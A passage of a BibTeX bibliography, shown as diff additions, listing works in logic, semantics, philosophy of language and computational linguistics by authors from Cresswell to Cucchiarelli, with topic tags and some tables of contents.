{Max J. Cresswell}, + title = {A Semantics for a Logic of `Better'}, + journal = {Logique et Analyse, Nouvelle S\'erie}, + year = {1974}, + volume = {17}, + number = {65--66}, + missinginfo = {pages}, + topic = {deontic-logic;comparative-constructions;evaluative-terms;} + } + +@article{ cresswell_mj:1974b, + author = {Max J. Cresswell}, + title = {Adverbs and Events}, + journal = {Synth\'ese}, + year = {1974}, + volume = {28}, + pages = {455--481}, + missinginfo = {number}, + topic = {adverbs;events;} + } + +@incollection{ cresswell_mj:1976a, + author = {Max J. Cresswell}, + title = {The Semantics of Degree}, + booktitle = {Montague Grammar}, + publisher = {Academic Press}, + year = {1976}, + editor = {Barbara H. Partee}, + pages = {261--292}, + address = {New York}, + topic = {nl-semantics;Montague-grammar;comparative-constructions; + adjectives;vagueness;} + } + +@unpublished{ cresswell_mj:1977a, + author = {Max J. Cresswell}, + title = {Interval Semantics for Some Event Expressions}, + year = {1977}, + note = {Unpublished manuscript, Victoria University at Wellington.}, + topic = {events;nl-tense;} + } + +@unpublished{ cresswell_mj:1977b, + author = {Max J. Cresswell}, + title = {Relative Identity}, + year = {1977}, + note = {Unpublished manuscript, Victoria University at Wellington.}, + topic = {identity;semantics-of-common-nouns;} + } + +@book{ cresswell_mj:1977c, + author = {Max J. Cresswell}, + title = {Categorial Languages}, + publisher = {Indiana University Linguistics Club}, + year = {1977}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {type-theory;categorial-grammar;} + } + +@article{ cresswell_mj:1978a, + author = {Max J. Cresswell}, + title = {Semantics and Logic}, + journal = {Theoretical Linguistics}, + year = {1978}, + volume = {8}, + number = {1}, + pages = {19--30}, + topic = {nl-semantics;foundations-of-semantics;} + } + +@article{ cresswell_mj:1978b, + author = {Max J. Cresswell}, + title = {Propositions and Points of View}, + journal = {Linguistics and Philosophy}, + year = {1978}, + volume = {2}, + number = {1}, + pages = {1--41}, + topic = {indexicals;context;propositional-attitudes;} + } + +@incollection{ cresswell_mj:1978c, + author = {Max J. Cresswell}, + title = {Semantic Competence}, + booktitle = {Meaning and Translation: Philosophical and Logical + Approaches}, + publisher = {New York University Press}, + year = {1978}, + editor = {Franz Guenthner and Monica Guenthner-Reutter}, + pages = {9--27}, + address = {New York}, + contentnote = {Argues for truth-conditional approach to semantic + competence.}, + topic = {foundations-of-semantics;philosophy-of-linguistics;} + } + +@article{ cresswell_mj:1978d, + author = {Max J. Cresswell}, + title = {Review of {\it Presupposition and the Delimitation of + Semantics}, by {R}uth {K}empson}, + journal = {Linguistics and Philosophy}, + year = {1978}, + volume = {2}, + number = {3}, + pages = {437--446}, + xref = {Review of kempson:1975a.}, + topic = {presupposition;pragmatics;} + } + +@incollection{ cresswell_mj:1979a, + author = {Max J. Cresswell}, + title = {Interval Semantics for Some Event Expressions}, + booktitle = {Semantics from Different Points of View}, + year = {1979}, + editor = {Rainer B\"auerle and Urs Egli and Arnim {von Stechow}}, + publisher = {Springer-Verlag}, + address = {Berlin}, + pages = {90--116}, + topic = {temporal-logic;events;nl-semantics;} + } + +@article{ cresswell_mj:1979b, + author = {Max J. Cresswell}, + title = {Review of {\it Semantics}, by {J}ohn {L}yons}, + journal = {Linguistics and Philosophy}, + year = {1979}, + volume = {3}, + number = {2}, + xref = {Review of lyons_j:1977a1, lyons_j:1977a2.}, + pages = {289--295}, + topic = {semantics-survey;speech-acts;pragmatics;} + } + +@article{ cresswell_mj:1980a, + author = {Max J. Cresswell}, + title = {Jackson on Perception}, + journal = {Theoria}, + year = {1980}, + volume = {66}, + pages = {123--147}, + topic = {epistemology;phenomenalism;logic-of-perception;} + } + +@article{ cresswell_mj:1980b, + author = {Max J. Cresswell}, + title = {Quotational Theories of Propositional Attitudes}, + journal = {Journal of Philosophical Logic}, + year = {1980}, + volume = {9}, + number = {1}, + pages = {17--40}, + topic = {syntactic-attitudes;} + } + +@unpublished{ cresswell_mj:1981a, + author = {Max J. Cresswell}, + title = {A Highly Impossible Scene: The Semantics of Visual + Contradictions}, + year = {1981}, + note = {Unpublished manuscript, Victoria University at Wellington. + Presented at conference on ``Meaning, Use and Interpretation + of Language'' at Konstanz. } , + topic = {logic-of-perception;inconsistency;} + } + +@incollection{ cresswell_mj:1981b, + author = {Max J. Cresswell}, + title = {Adverbs of Causation}, + booktitle = {Words, Worlds, and Contexts: New Approaches to Word + Semantics}, + publisher = {Walter de Gruyter}, + year = {1981}, + editor = {Hans-J\"urgen Eikmeyer and Hannes Rieser}, + pages = {21--37}, + address = {Berlin}, + topic = {causality;nl-semantics;adverbs;} + } + +@incollection{ cresswell_mj:1982a, + author = {Max J. Cresswell}, + title = {The Autonomy of Semantics}, + booktitle = {Processes, Beliefs, and Questions}, + publisher = {D. Reidel Publishing Company}, + year = {1982}, + editor = {Stanley Peters and Esa Saarinen}, + pages = {69--86}, + address = {Dordrecht}, + topic = {nl-semantics;} + } + +@techreport{ cresswell_mj:1982b, + author = {Max J. Cresswell}, + title = {De Re Belief Generalized}, + institution = {Universit\"at Konstanz}, + year = {1982}, + address = {Konstanz}, + xref = {See cresswell_mj-vonstechow:1982a.}, + topic = {propositional-attitudes;individual-attitudes;} + } + +@article{ cresswell_mj-vonstechow:1982a, + author = {Maxwell J. Cresswell and Arnim {von Stechow}}, + title = {{\em De Re} Belief Generalized}, + journal = {Linguistics and Philosophy}, + year = {1982}, + volume = {5}, + number = {4}, + pages = {503--535}, + xref = {See cresswell_mj:1982b.}, + topic = {propositional-attitudes;reference;} + } + +@book{ cresswell_mj:1985a, + author = {Max J. Cresswell}, + title = {Structured Meanings}, + publisher = {The {MIT} Press}, + year = {1985}, + address = {Cambridge, Massachusetts}, + contentnote = {TC: + 1. Compositional Semantics: An Arithmetical Analogy + 2. De Re Attitudes + 3. Structured Meanings + 4. Structural Ambiguity + 5. Attitudes De Expressione + 6. What Meanings Are + 7. Why Meanings Are Not Internal Representations + 8. Possible Worlds + 9. A System of Intensions + 10. Structured Meanings Again + 11. Iterated Attitudes + 12. \lambda-Categorial Languages + 13. Indirect Discourse I + 14. Indirect Discourse II + 15. Discourse De Se + 16. Semantics in the Picture + } , + xref = {Review: gupta_a-savion:1987a.}, + topic = {foundations-of-semantics;propositional-attitudes; + structured-propositions;} + } + +@article{ cresswell_mj:1985b, + author = {Max J. Cresswell}, + title = {The Decidable Modal Logics Are Not Recursively Enumerable}, + journal = {Journal of Philosophical Logic}, + year = {1985}, + volume = {14}, + number = {3}, + pages = {231--233}, + topic = {modal-logic;} + } + +@article{ cresswell_mj:1987a, + author = {Max J. Cresswell}, + title = {Magari's Theorem Via the Recession Frame}, + journal = {Journal of Philosophical Logic}, + year = {1987}, + volume = {16}, + number = {1}, + pages = {13--15}, + topic = {modal-logic;} + } + +@article{ cresswell_mj:1988a, + author = {Max J. Cresswell}, + title = {Review of {\it Inquiry}, by {R}obert {C}. {S}talnaker}, + journal = {Linguistics and Philosophy}, + year = {1988}, + volume = {11}, + number = {4}, + pages = {515--519}, + xref = {Review of stalnaker:1984a.}, + topic = {foundations-of-modality;propositional-attitudes;belief-revision; + pragmatics;agent-attitudes;belief;} + } + +@book{ cresswell_mj:1994a, + author = {Max J. Cresswell}, + title = {Language in the World: A Philosophical Enquiry}, + publisher = {Cambridge University Press}, + year = {1994}, + address = {Cambridge, England}, + contentnote = {This is a defense of possible-worlds semantics. The + core seems to be an argument that yes, the explication of + semantic relations in a natural language involves causality, + but that this causality is explicated in terms of pw's in a way + that makes pw's a particularly natural tool for semantic theory.}, + topic = {philosophy-of-language;foundations-of-semantics;} + } + +@article{ cresswell_mj:1995a, + author = {Max J. Cresswell}, + title = {Incompleteness and the {B}arcan Formula}, + journal = {Journal of Philosophical Logic}, + year = {1995}, + volume = {24}, + number = {4}, + pages = {379--403}, + topic = {modal-logic;completeness-theorems;} + } + +@book{ cresswell_mj-hughes:1995a, + author = {Max J. Cresswell and G.E. Hughes}, + title = {A New Introduction to Modal Logic}, + publisher = {Routledge}, + year = {1995}, + address = {London}, + topic = {modal-logic;} + } + +@book{ cresswell_mj:1996a, + author = {Max J. Cresswell}, + title = {Semantic Indexicality}, + publisher = {Kluwer Academic Publishers}, + year = {1996}, + address = {Dordrecht}, + ISBN = {0792339142}, + topic = {indexicals;nl-semantics;} + } + +@article{ cresswell_mj:1999a, + author = {Max J. Cresswell}, + title = {Review of {\it Handbook of Logic and Language}, + by Johan {van Benthem} and {A}lice {ter Meulen}}, + journal = {Studia Logica}, + year = {1999}, + volume = {63}, + number = {1}, + pages = {435--438}, + xref = {Review of vanbenthem-termeulen:1996a.}, + topic = {nl-semantics;} + } + +@article{ cresswell_mj:2000a, + author = {Max J. Cresswell}, + title = {Review of {\it Advances in Modal Logic}, by + {M}arcus {K}racht and {M}aarten de {R}ijke and {H}einrich + {W}ansing}, + journal = {Studia Logica}, + year = {2000}, + volume = {65}, + number = {3}, + pages = {440--442}, + xref = {Review of kracht-etal:1998a.}, + topic = {modal-logic;} + } + +@phdthesis{ cresti:1995a, + author = {Diana Cresti}, + title = {Indefinite Topics}, + school = {Linguistics Department, Massachusetts Institute of + Technology}, + year = {1995}, + type = {Ph.{D}. Dissertation}, + address = {Cambridge, Massachusetts}, + topic = {indefiniteness;s-topic;presupposition;nl-quantifier-scope;} + } + +@book{ creswell:1997a, + author = {John W. Creswell}, + title = {Qualitative Inquiry}, + publisher = {Sage Publications}, + year = {1997}, + address = {Thousand Oaks, California}, + topic = {qualitative-methods;} + } + +@book{ creswell_jw:1997a, + author = {John W. Creswell}, + title = {Qualitative Inquiry}, + publisher = {Sage Publications}, + year = {1997}, + address = {Thousand Oaks, California}, + topic = {qualitative-methods;} + } + +@article{ crimmins-perry:1989a1, + author = {Mark Crimmins and John Perry}, + title = {The Prince and the Phone Booth: Reporting Puzzling + Beliefs}, + journal = {The Journal of Philosophy}, + year = {1989}, + volume = {86}, + pages = {685--711}, + xref = {Republication: crimmins-perry:1989a2.}, + topic = {reference;foundations-of-semantics;propositional-attitudes; + belief;} + } + +@incollection{ crimmins-perry:1989a2, + author = {Mark Crimmins and John Perry}, + title = {The Prince and the Phone Booth: Reporting Puzzling + Beliefs}, + booktitle = {Readings in the Philosophy of Language}, + publisher = {The {MIT} Press}, + year = {1996}, + editor = {Peter Ludlow}, + pages = {963--991}, + address = {Cambridge, Massachusetts}, + xref = {Republication of crimmins-perry:1989a1.}, + topic = {reference;foundations-of-semantics;propositional-attitudes; + belief;} + } + +@book{ crimmins:1992a, + author = {Mark Crimmins}, + title = {Talk about Beliefs}, + publisher = {The {MIT} Press}, + year = {1992}, + address = {Cambridge, Massachusetts}, + ISBN = {026203185X}, + xref = {Review: boer:1994a.}, + topic = {belief;} + } + +@article{ crimmins:1992b, + author = {Mark Crimmins}, + title = {Context in the Attitudes}, + journal = {Linguistics and Philosophy}, + year = {1992}, + volume = {15}, + number = {2}, + pages = {185--198}, + topic = {context;propositional-attitudes;} + } + +@article{ crimmins:1998a, + author = {Mark Crimmins}, + title = {Hesperus and {P}hosphorus: Sense, Pretense, and Reference}, + journal = {Philosophical Review}, + year = {1998}, + volume = {107}, + number = {1}, + pages = {1--47}, + topic = {sense-reference;quantifying-in-modality;} + } + +@unpublished{ crimmins:1999a, + author = {Mark Crimmins}, + title = {Semantics}, + year = {1999}, + note = {Posted at http://www-personal.umich.edu/\user{}markcrim/u107.html.}, + topic = {nl-semantics;philosophy-of-language;} + } + +@unpublished{ crimmins:1999b, + author = {Mark Crimmins}, + title = {Philosophy of Language}, + year = {1999}, + note = {Posted at http://www-personal.umich.edu/\user{}markcrim/u107.html.}, + topic = {philosophy-of-language;} + } + +@techreport{ criscuolo-etal:1994a, + author = {Giovanni Criscuolo and Fausto Giunchiglia and Luciano + Serafini}, + title = {A Foundation of Metalogical Reasoning}, + institution = {Istituto per la Ricerca Scientifica e Technoligica (IRST)}, + number = {Technical Report 9403-02}, + year = {1994}, + address = {Trento}, + topic = {metareasoning;} + } + +@article{ crisp-warfield:2001a, + author = {Thomas M. Crisp and Ted A. Warfield}, + title = {Review of {\it Mind in a Physical World}, by {J}aegwon + {K}im}, + journal = {No\^us}, + year = {2001}, + volume = {35}, + number = {2}, + pages = {304--316}, + xref = {Review of kim_jw:1998a.}, + topic = {mind-body-problem;causality;} + } + +@inproceedings{ cristani-etal:2000a, + author = {M. Cristani and Anthony G. Cohn and B. Bennett}, + title = {Spatial Locations via Morpho-Mereology}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {15--25}, + topic = {spatial-reasoning;mereology;} + } + +@inproceedings{ cristea-webber:1997a, + author = {Dan Cristea and Bonnie Webber}, + title = {Expectations in Incremental Discourse Parsing}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {88--95}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {discourse-structure;} + } + +@inproceedings{ cristea-etal:1998a, + author = {Dan Cristea and Nancy Ide and Laurent Romary}, + title = {Veins Theory: A Model of Global Discourse Cohesion and + Coherence}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {281--285}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {discourse-coherence;} +} + +@incollection{ cristea-etal:1999a, + author = {Dan Cristea and Daniel Marcu and Nancy Ide and Valentin + Tablan}, + title = {Discourse Structure and Co-Reference: An Empirical Study}, + booktitle = {The Relation of Discourse/Dialogue Structure and + Reference}, + publisher = {Association for Computational Linguistics}, + year = {1999}, + editor = {Dan Cristea and Nancy Ide and Daniel Marcu}, + pages = {46--53}, + address = {New Brunswick, New Jersey}, + topic = {discourse-structure;anaphora-resolution;} + } + +@book{ cristea-etal:1999b, + editor = {Dan Cristea and Nancy Ide and Daniel Marcu}, + title = {The Relation of Discourse/Dialogue Structure and + Reference}, + publisher = {Association for Computational Linguistics}, + year = {1999}, + address = {Somerset, New Jersey}, + contentnote = {TC: + 1. Robert Kasper and Paul Davis and Craige Roberts, "An + Integrated Approach to Reference and Presupposition + Resolution", pp. 1--10 + 2. Tomoko Matsui, "Approaches to {J}apanese Zero + Pronouns", pp. 11--20 + 3. Harksoo Kim and Jeong-Mi Cho and Jungyun Seo, "Anaphora Resolution + Using an Extended Centering Algorithm in a Multi-Modal + Dialogue System", pp. 21--28 + 4. Sandra Harabagiu and Stephen Maiorano, "Knowledge-Lean + Coreference Resolution and Its Relation + to Textual Cohesion and Coreference", pp. 29--38 + 5. Elena Not and Lucia M. Tovena and Massimo Zancanaro, + "Positing and Resolving Bridging Anaphora in Deverbal + {NP}s", pp. 39--45 + 6. Dan Cristea and Daniel Marcu and Nancy Ide and Valentin + Tablan, "Discourse Structure and Co-Reference: An + Empirical Study", pp. 46--53 + 7. Jonathan DeCristofaro and Michael Strube and Kathleen + F. McCoy, "Building a Tool for Annotating Reference + in Discourse", pp. 54--62 + 8. Kathleen F. McCoy and Michael Strube, "Generating Anaphoric + Expressions: Pronoun or Definite Description?", pp. 63--71 + 9. Rodger Kibble, "Cb or Not {Cb}?: Centering Theory Applied to + {NLG}", pp. 72--81 + 10. Peter C. Gordon and Randall Hendrick, "Comprehension of + Coreferential Expressions", pp. 82--89 + 11. Helen Seville and Allan Ramsay, "Reference-Based Discourse + Structure for Reference Resolution", pp. 90--99 + 12. Frank Schilder, "Reference Hashed", pp. 100--109 + 13. Livia Polanyi and Martin van den Berg, "Logical Structure + and Discourse Anaphora Resolution", pp. 110--117 + } , + topic = {discourse-structure;anaphora;reference;} + } + +@incollection{ cristiani:2002a, + author = {Matteo Cristiani}, + title = {Many-Sorted Preference Relations}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {265--276}, + address = {San Francisco, California}, + topic = {kr;complexity-in-AI;preferences;} + } + +@article{ cristianini-schollkopf:2002a, + author = {Nello Cristianini and Bernhard Sch\"ollkopf}, + title = {Support Vector Machines and Kernel Methods: The New + Generation of Learning Machines}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {23}, + number = {3}, + pages = {31--41}, + topic = {kernal-methods;machine-learning;} + } + +@book{ crittenden:1991a, + author = {Charles Crittenden}, + title = {Unreality: The Metaphysics of Fictional Objects}, + publisher = {Cornell University Press}, + year = {1991}, + address = {Ithaca, New York}, + xref = {Review: taschek:1993a.}, + topic = {fiction;logic-of-existence;} + } + +@article{ crivelli-williamson_t:1998a, + author = {Paoli Crivelli Timothy Williamson}, + title = {Review of {\it A New Introduction to Modal Logic}, by + {M}ax {J}. {C}resswell and {G}.{E}. {H}ughes}, + journal = {The Philosophical Review}, + year = {1998}, + volume = {107}, + number = {3}, + pages = {471--471}, + xref = {Review of: hughes_ge-cresswell_mj:1996a.}, + topic = {modal-logic;} + } + +@incollection{ crocco-lamarre:1992a, + author = {Gabriella Crocco and Philippe Lamarre}, + title = {On the Connection between Non-Monotonic Inference Systems + and Conditional Logics}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {565--571}, + address = {San Mateo, California}, + topic = {kr;nonmonotonic-logic;conditionals;kr-course;} + } + +@book{ crocco-etal:1995a, + editor = {Gabriella Crocco and Luis Fari\~nas del Cerro and Andreas + Herzig}, + title = {Conditionals: From Philosophy to Computer Science}, + publisher = {Oxford University Press}, + year = {1995}, + address = {Oxford}, + contentnote = {TC: + 1. G. Crocco and L Fari\~nas del Cerro and + Andreas Herzig, "Introduction", pp. 1--12 + 2. S.O. Hansson, "The Emperor's New Clothes: Some Recurring + Problems in the Formal Analysis of + Conditionals", pp. 13--31 + 3. H. Katsuno and K. Satoh, "A Unified View of Consequence + Relation, Belief Revision, and Conditional + Logic", pp. 33--65 + 4. C.E. Alcourr\'on, "Defeasible Logics: Demarcation and + Affinities", pp. 67--102 + 5. Nicholas Asher, "Commonsense Entailment: A Conditional + Logic for Some Generics", pp. 103--145 + 6. S. Lindstr\"om and W. Rabinowicz, "The Ramsey Test + Revisited", pp. 147--191 + 7. Horacio L. Arl\'o Costa, "Epistemic Logic, Snakes, and + Stars", pp. 193--239 + 8. Krister Segerberg, "Conditional Action", pp. 341--265 + 9. Craig Boutilier and Mois\'es Goldszmidt, "On the Revision + of Conditional Belief Sets", pp. 267--300 + 10. Didier Dubois and Henri Prade, "Conditional Objects, + Possibility Theory and Default Rules", pp. 301--336 + 11. Dov M. Gabbay, "Conditional Implications and Non-Monotonic + Consequence", pp. 337--359 + } , + topic = {conditionals;} + } + +@incollection{ crocco-etal:1995b, + author = {Gabriella Crocco and Luis Fari\~nas del Cerro and Andreas + Herzig}, + title = {Introduction (to {\it Conditionals: From Philosophy to + Computer Science}}, + booktitle = {Conditionals: From Philosophy to Computer Science}, + publisher = {Oxford University Press}, + year = {1995}, + editor = {Gabriella Crocco and Luis Fari\~nas del Cerro and Andreas Herzig}, + pages = {1--12}, + address = {Oxford}, + topic = {conditionals;nonmonotonic-logic;} + } + +@incollection{ crocco-farinasdelcerro:1996a, + author = {Gabriella Crocco and Luis Fari\~nas del Cerro}, + title = {Counterfactuals: Foundations for Nonmonotonic Inferences}, + booktitle = {Logic, Action, and Information: Essays on Logic in + Philosophy and Artificial Intelligence}, + year = {1996}, + publisher = {Walter de Gruyter}, + editor = {Andr\'e Fuhrmann and Hans Rott}, + pages = {173--207}, + address = {Berlin}, + topic = {conditionals;nonmonotonic-logic;proof-theory; + substructural-logics;} + } + +@book{ crocker-etal:2000a, + editor = {Matthew W. Crocker and Martin Pickering and + Charles {Clifton, Jr.}}, + title = {Architectures and Mechanisms for Language Processing}, + publisher = {Cambridge University Press}, + year = {2000}, + address = {Cambridge, England}, + ISBN = {0-521-63121-1}, + xref = {Review: weinberg_a:2000a.}, + topic = {parsing-psychology;psycholinguistics;} + } + +@techreport{ croft_w:1984a, + author = {William Croft}, + title = {The Representation of Adverbs, Adjectives, and Events + in Logical Form}, + institution = {Artificial Intelligence Center, SRI International}, + number = {344}, + year = {1984}, + address = {Menlo Park, California}, + topic = {nl-semantics;events;adverbs;adjectives;} + } + +@incollection{ croft_w:1993a, + author = {William Croft}, + title = {Case Marking and the Semantics of Mental Verbs}, + booktitle = {Semantics and the Lexicon}, + year = {1993}, + editor = {James Pustejovsky}, + publisher = {Kluwer Academic Publishers}, + pages = {55--72}, + topic = {lexical-semantics;thematic-roles;psych-verbs;} + } + +@article{ croft_w:1993b, + author = {William Croft}, + title = {Review of {\it Common Sense Reasoning}, by + {E}rnest {D}avis}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {61}, + number = {1}, + pages = {105--112}, + xref = {Review of davis_e:1991a.}, + topic = {common-sense-reasoning;kr;kr-course;} + } + +@book{ croft_wb:2000a, + editor = {W. Bruce Croft}, + title = {Advances in Information Retrieval: Recent Research from + the Center for Intelligent Information Retrieval}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + address = {Dordrecht}, + ISBN = {0-7923-7812-1}, + xref = {Review: harabagiu:2001a.}, + topic = {nl-generation;} + } + +@unpublished{ cross_cb:1984a, + author = {Charles B. Cross}, + title = {Explanation and Conditional Logic}, + year = {1984}, + note = {Unpublished manuscript.}, + topic = {conditionals;explanation;} + } + +@phdthesis{ cross_cb:1985a, + author = {Charles B. Cross}, + title = {Studies in the Semantics of Modality}, + school = {Philosophy Department, University of Pittsburgh}, + year = {1985}, + type = {Ph.{D}. Dissertation}, + address = {Pittsburgh, Pennsylvania}, + topic = {modal-logic;ability;causality;probability-semantics;} + } + +@article{ cross_cb:1985b, + author = {Charles B. Cross}, + title = {Jonathan {B}ennett on `Even If'\, } , + journal = {Linguistics and Philosophy}, + year = {1985}, + volume = {8}, + number = {3}, + pages = {353--357}, + topic = {nl-semantics;`even';conditionals;} + } + +@article{ cross_cb:1986a, + author = {Charles B. Cross}, + title = {`{C}an' and the Logic of Ability}, + journal = {Philosophical Studies}, + year = {1986}, + volume = {50}, + pages = {53--64}, + missinginfo = {number}, + topic = {ability;} + } + +@inproceedings{ cross_cb-thomason_rh:1987a, + author = {Charles B. Cross and Richmond H. Thomason}, + title = {Update and Conditionals}, + booktitle = {Methodologies for Intelligent Systems: Proceedings of + the Sixth International Symposium}, + year = {1987}, + editor = {Zbigniew Ras and M. Zemankova}, + publisher = {North-Holland}, + pages = {392--399}, + address = {Amsterdam}, + topic = {belief-revision;conditionals;} + } + +@incollection{ cross_cb:1990a, + author = {Charles Cross}, + title = {Belief Revision, Non-Monotonic Reasoning, and the {R}amsey + Test}, + booktitle = {Knowledge Representation and Defeasible Reasoning}, + publisher = {Kluwer Academic Publishers}, + year = {1990}, + editor = {Henry Kyburg and Ronald Loui and Greg Cnrlson}, + pages = {223--224}, + address = {Dordrecht}, + topic = {belief-revision;Ramsey-test;} + } + +@unpublished{ cross_cb:1991a, + author = {Charles B. Cross}, + title = {Desire, Belief, and Satisfactory Situations}, + year = {1991}, + note = {Unpublished manuscript, University of Georgia}, + topic = {practical-reasoning;desire;} + } + +@incollection{ cross_cb-thomason_rh:1992a, + author = {Charles B. Cross and Richmond H. Thomason}, + title = {Conditionals and Knowledge-Base Update}, + booktitle = {Belief Revision}, + publisher = {Cambridge University Press}, + year = {1992}, + editor = {Peter G\"ardenfors}, + pages = {246--275}, + address = {Cambridge}, + topic = {belief-revision;conditionals;} + } + +@article{ cross_cb:1993a, + author = {Charles B. Cross}, + title = {From Worlds to Probabilities: A Probabilistic Semantics for + Modal Logic}, + journal = {Journal of Philosophical Logic}, + year = {1993}, + volume = {22}, + number = {2}, + pages = {169--192}, + topic = {modal-logic;probability-semantics;} + } + +@article{ cross_cb:1997a, + author = {Charles B. Cross}, + title = {The Modal Logic of Discrepancy}, + journal = {Journal of Philosophical Logic}, + year = {1997}, + volume = {26}, + number = {2}, + pages = {143--168}, + topic = {practical-reasoning;} + } + +@unpublished{ cross_cb:1999a, + author = {Charles B. Cross}, + title = {The Paradox of the Knower without Epistemic Closure}, + year = {1999}, + month = {November}, + note = {Unpublished manuscript, Department of Philosophy, + University of Georgia.}, + xref = {Publication: cross_cb:2001a.}, + topic = {syntactic-attitudes;} + } + +@article{ cross_cb:2000a, + author = {Charles B. Cross}, + title = {A Characterization of Imaging in Terms of {P}opper + Functions}, + journal = {Philosophy of Science}, + year = {2000}, + volume = {67}, + number = {2}, + pages = {316--318}, + topic = {primitive-conditional-probability;imaging; + probability-kinematics;} + } + +@article{ cross_cb:2001a, + author = {Charles B. Cross}, + title = {The Paradox of the Knower without Epistemic Closure}, + journal = {Mind}, + year = {2001}, + volume = {110}, + number = {438}, + pages = {319--333}, + topic = {syntactic-attitudes;} + } + +@article{ cross_cb:2001b, + author = {Charles B. Cross}, + title = {A Theorem Concerning Syntactical Treatments of + Nonidealized Belief}, + journal = {Synth\'ese}, + year = {2001}, + volume = {129}, + number = {3}, + pages = {335--341}, + topic = {syntactic-attitudes;} + } + +@book{ cross_r:1968a, + author = {Rupert Cross}, + title = {Precedent in {E}nglish Law}, + edition = {2}, + publisher = {Oxford University Press}, + address = {Oxford}, + year = {1968}, + topic = {legal-precedent;} + } + +@article{ crouch-pulman:1993a, + author = {R.S. Crouch and S.G. Pulman}, + title = {Time and Modality in a Natural Language Interface to a + Planning System}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {63}, + number = {1--2}, + pages = {265--304}, + acontentnote = {Abstract: + This paper describes a natural language interface to nonlinear + planning systems. We focus on the treatments of temporal and + modal information in logical form (LF, a semantic representation + for natural language interpretation), and in plan query language + (PQL, a language designed for framing questions about and + describing nonlinear plans). A number of differences between the + two formalisms emerge, and we discuss ways in which they can be + reconciled to provide an interface between LF and PQL.}, + topic = {nl-tense;nl-interfaces;} + } + +@incollection{ crow:1983a, + author = {Brian K. Crow}, + title = {Topic Shifts in Couples' Conversation}, + booktitle = {Conversational Coherence: Form, Structure and Strategy}, + publisher = {Sage Publications}, + year = {1983}, + editor = {Robert T. Craig and Karen Tracey}, + pages = {136--156}, + address = {London}, + topic = {d-topic;discourse-analysis;pragmatics;} + } + +@book{ crumley:1999a, + author = {Jack S. {Crumley II}}, + title = {An Introduction to Epistemology}, + publisher = {Mayfield Publishing Co.}, + year = {1999}, + address = {Mountain View, California}, + topic = {epistemology;philosophy-intro;} + } + +@book{ cruse:2000a, + author = {Alan Cruse}, + title = {Meaning in Language: An Introduction to Semantics and + Pragmatics}, + publisher = {Oxford University Press}, + year = {2000}, + address = {Oxford}, + topic = {semantics;pragmatics;} + } + +@book{ cruse_da:1986a, + author = {David A. Cruse}, + title = {Lexical Semantics}, + publisher = {Cambridge University Press}, + year = {1986}, + address = {Cambridge, England}, + topic = {lexical-semantics;} + } + +@incollection{ cruse_da:1995a, + author = {David A. Cruse}, + title = {Polysemy and Related Phenomena from a Cognitive Linguistic + Viewpoint}, + booktitle = {Computational Lexical Semantics}, + publisher = {Cambridge University Press}, + year = {1995}, + editor = {Patrick Saint-Dizier and Evelyne Viegas}, + pages = {33--49}, + address = {Cambridge, England}, + topic = {nl-kr;lexical-semantics;nl-polysemy;} + } + +@book{ cruttenden:1986a, + author = {Allen Cruttenden}, + title = {Intonation}, + publisher = {Cambridge University Press}, + address = {Cambridge}, + year = {1986}, + topic = {intonation;prosody;} +} + +@book{ crystal:1969a, + author = {David Crystal}, + title = {Prosodic Systems and Intonation in {E}nglish}, + publisher = {Cambridge University Press}, + year = {1969}, + address = {Cambridge, England}, + topic = {prosody;intonation;} + } + +@book{ crystal:1991a, + author = {David Crystal}, + title = {A Dictionary of Linguistics and Phonetics}, + edition = {3rd}, + publisher = {Basil Blackwell Publishers}, + year = {1991}, + address = {Oxford}, + topic = {linguistics-terminology;linguistics-general;} + } + +@article{ csazar:1955a, + author = {A. Cs\'asa\'r}, + title = {Sur la Structure des Espaces de Probalilit\'e + Conditionelle}, + journal = {Acta Mathematicaa Academiae Scientiarum Hungaricae}, + year = {1955}, + volume = {6}, + pages = {337--361}, + missinginfo = {A's 1st name, number}, + topic = {primitive-conditional-probability;} + } + +@inproceedings{ csinger-poole:1993a, + author = {Andrew Csinger and David Poole}, + title = {Hypothetically Speaking}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + year = {1993}, + editor = {Ruzena Bajcsy}, + pages = {1179--1183}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {nm-ling;default-reasoning;nonmonotonic-reasoning; + discourse-structure;pragmatics;} + } + +@inproceedings{ cucchiarelli-etal:1998a, + author = {Alessandro Cucchiarelli and Danilo Luzi and Paola Velardi}, + title = {Automatic Semantic Tagging of Unknown Proper Names}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {286--292}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {personal-name-recognition;} +} + +@article{ 